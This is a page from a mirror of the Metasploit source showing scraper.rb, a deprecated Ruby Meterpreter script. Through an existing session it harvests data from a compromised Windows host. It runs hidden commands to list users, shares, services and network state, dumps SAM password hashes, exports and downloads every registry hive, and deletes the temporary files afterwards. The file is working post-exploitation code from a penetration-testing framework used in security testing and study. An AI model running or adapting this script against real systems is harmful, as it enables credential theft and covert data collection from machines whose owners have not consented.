Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

scraper.rb 4.7KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # This is a Meterpreter script designed to be used by the Metasploit Framework
  7. #
  8. # The goal of this script is to obtain system information from a victim through
  9. # an existing Meterpreter session. This is only a simple example of what can
  10. # be accomplished through Meterpreter scripting.
  11. #
  12. # hdm[at]metasploit.com
  13. #
  14. opts = Rex::Parser::Arguments.new(
  15. "-h" => [ false,"Help menu." ]
  16. )
  17. opts.parse(args) { |opt, idx, val|
  18. case opt
  19. when "-h"
  20. print_line("Scraper -- harvest system info including network shares, registry hives and password hashes")
  21. print_line("Info is stored in " + ::File.join(Msf::Config.log_directory,"scripts", "scraper"))
  22. print_line("USAGE: run scraper")
  23. print_line(opts.usage)
  24. raise Rex::Script::Completed
  25. end
  26. }
  27. require 'fileutils'
  28. # Some of this script was developed in conjunction with _MAX_ (max[at]remote-exploit.org)
  29. # The complete version will be released in the future as 'autometer'
  30. # Delete a file (meterpreter has no unlink API yet)
  31. def m_unlink(client, path)
  32. r = client.sys.process.execute("cmd.exe /c del /F /S /Q " + path, nil, {'Hidden' => 'true'})
  33. while(r.name)
  34. select(nil, nil, nil, 0.10)
  35. end
  36. r.close
  37. end
  38. def unsupported
  39. print_error("This version of Meterpreter is not supported with this Script!")
  40. raise Rex::Script::Completed
  41. end
  42. # Exec a command and return the results
  43. def m_exec(client, cmd)
  44. begin
  45. r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
  46. b = ""
  47. while(d = r.channel.read)
  48. b << d
  49. break if d == ""
  50. end
  51. r.channel.close
  52. r.close
  53. b
  54. rescue ::Exception => e
  55. print_error("Failed to run command #{cmd}")
  56. print_error("Error: #{e.class} #{e}")
  57. end
  58. end
  59. # Extract the host and port
  60. host,port = client.session_host, client.session_port
  61. print_status("New session on #{host}:#{port}...")
  62. # Create a directory for the logs
  63. logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")+sprintf("%.5d",rand(100000)) )
  64. # Create the log directory
  65. ::FileUtils.mkdir_p(logs)
  66. unsupported if client.platform != 'windows'
  67. begin
  68. tmp = client.sys.config.getenv('TEMP')
  69. print_status("Gathering basic system information...")
  70. ::File.open(File.join(logs, "network.txt"), "w") do |fd|
  71. fd.puts("=" * 70)
  72. client.net.config.each_route do |route|
  73. fd.puts("Local subnet: #{route.subnet}/#{route.netmask}")
  74. end
  75. fd.puts("=" * 70)
  76. fd.puts(m_exec(client, "netstat -na"))
  77. fd.puts("=" * 70)
  78. fd.puts(m_exec(client, "netstat -ns"))
  79. end
  80. info = client.sys.config.sysinfo()
  81. ::File.open(File.join(logs, "system.txt"), "w") do |fd|
  82. fd.puts("Computer: #{info['Computer']}")
  83. fd.puts("OS: #{info['OS']}")
  84. end
  85. ::File.open(File.join(logs, "env.txt"), "w") do |fd|
  86. fd.puts(m_exec(client, "cmd.exe /c set"))
  87. end
  88. ::File.open(File.join(logs, "users.txt"), "w") do |fd|
  89. fd.puts(m_exec(client, "net user"))
  90. end
  91. ::File.open(File.join(logs, "shares.txt"), "w") do |fd|
  92. fd.puts(m_exec(client, "net share"))
  93. end
  94. ::File.open(File.join(logs, "services.txt"), "w") do |fd|
  95. fd.puts(m_exec(client, "net start"))
  96. end
  97. ::File.open(File.join(logs, "nethood.txt"), "w") do |fd|
  98. fd.puts(m_exec(client, "net view"))
  99. end
  100. ::File.open(File.join(logs, "localgroup.txt"), "w") do |fd|
  101. fd.puts(m_exec(client, "net localgroup"))
  102. end
  103. ::File.open(File.join(logs, "group.txt"), "w") do |fd|
  104. fd.puts(m_exec(client, "net group"))
  105. end
  106. ::File.open(File.join(logs, "systeminfo.txt"), "w") do |fd|
  107. fd.puts(m_exec(client, "systeminfo"))
  108. end
  109. begin
  110. client.core.use("priv")
  111. hashes = client.priv.sam_hashes
  112. print_status("Dumping password hashes...")
  113. ::File.open(File.join(logs, "hashes.txt"), "w") do |fd|
  114. hashes.each do |user|
  115. fd.puts(user.to_s)
  116. end
  117. end
  118. rescue ::Exception => e
  119. print_status("Error dumping hashes: #{e.class} #{e}")
  120. end
  121. print_status("Obtaining the entire registry...")
  122. hives = %w{HKCU HKLM HKCC HKCR HKU}
  123. hives.each do |hive|
  124. print_status(" Exporting #{hive}")
  125. tempname = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}.reg"
  126. m_exec(client, "reg.exe export #{hive} #{tempname}")
  127. print_status(" Downloading #{hive} (#{tempname})")
  128. client.fs.file.download_file(File.join(logs, "#{hive}.reg"), tempname)
  129. print_status(" Cleaning #{hive}")
  130. m_unlink(client, tempname)
  131. end
  132. print_status("Completed processing on #{host}:#{port}...")
  133. rescue ::Exception => e
  134. print_status("Exception: #{e.class} #{e} #{e.backtrace}")
  135. end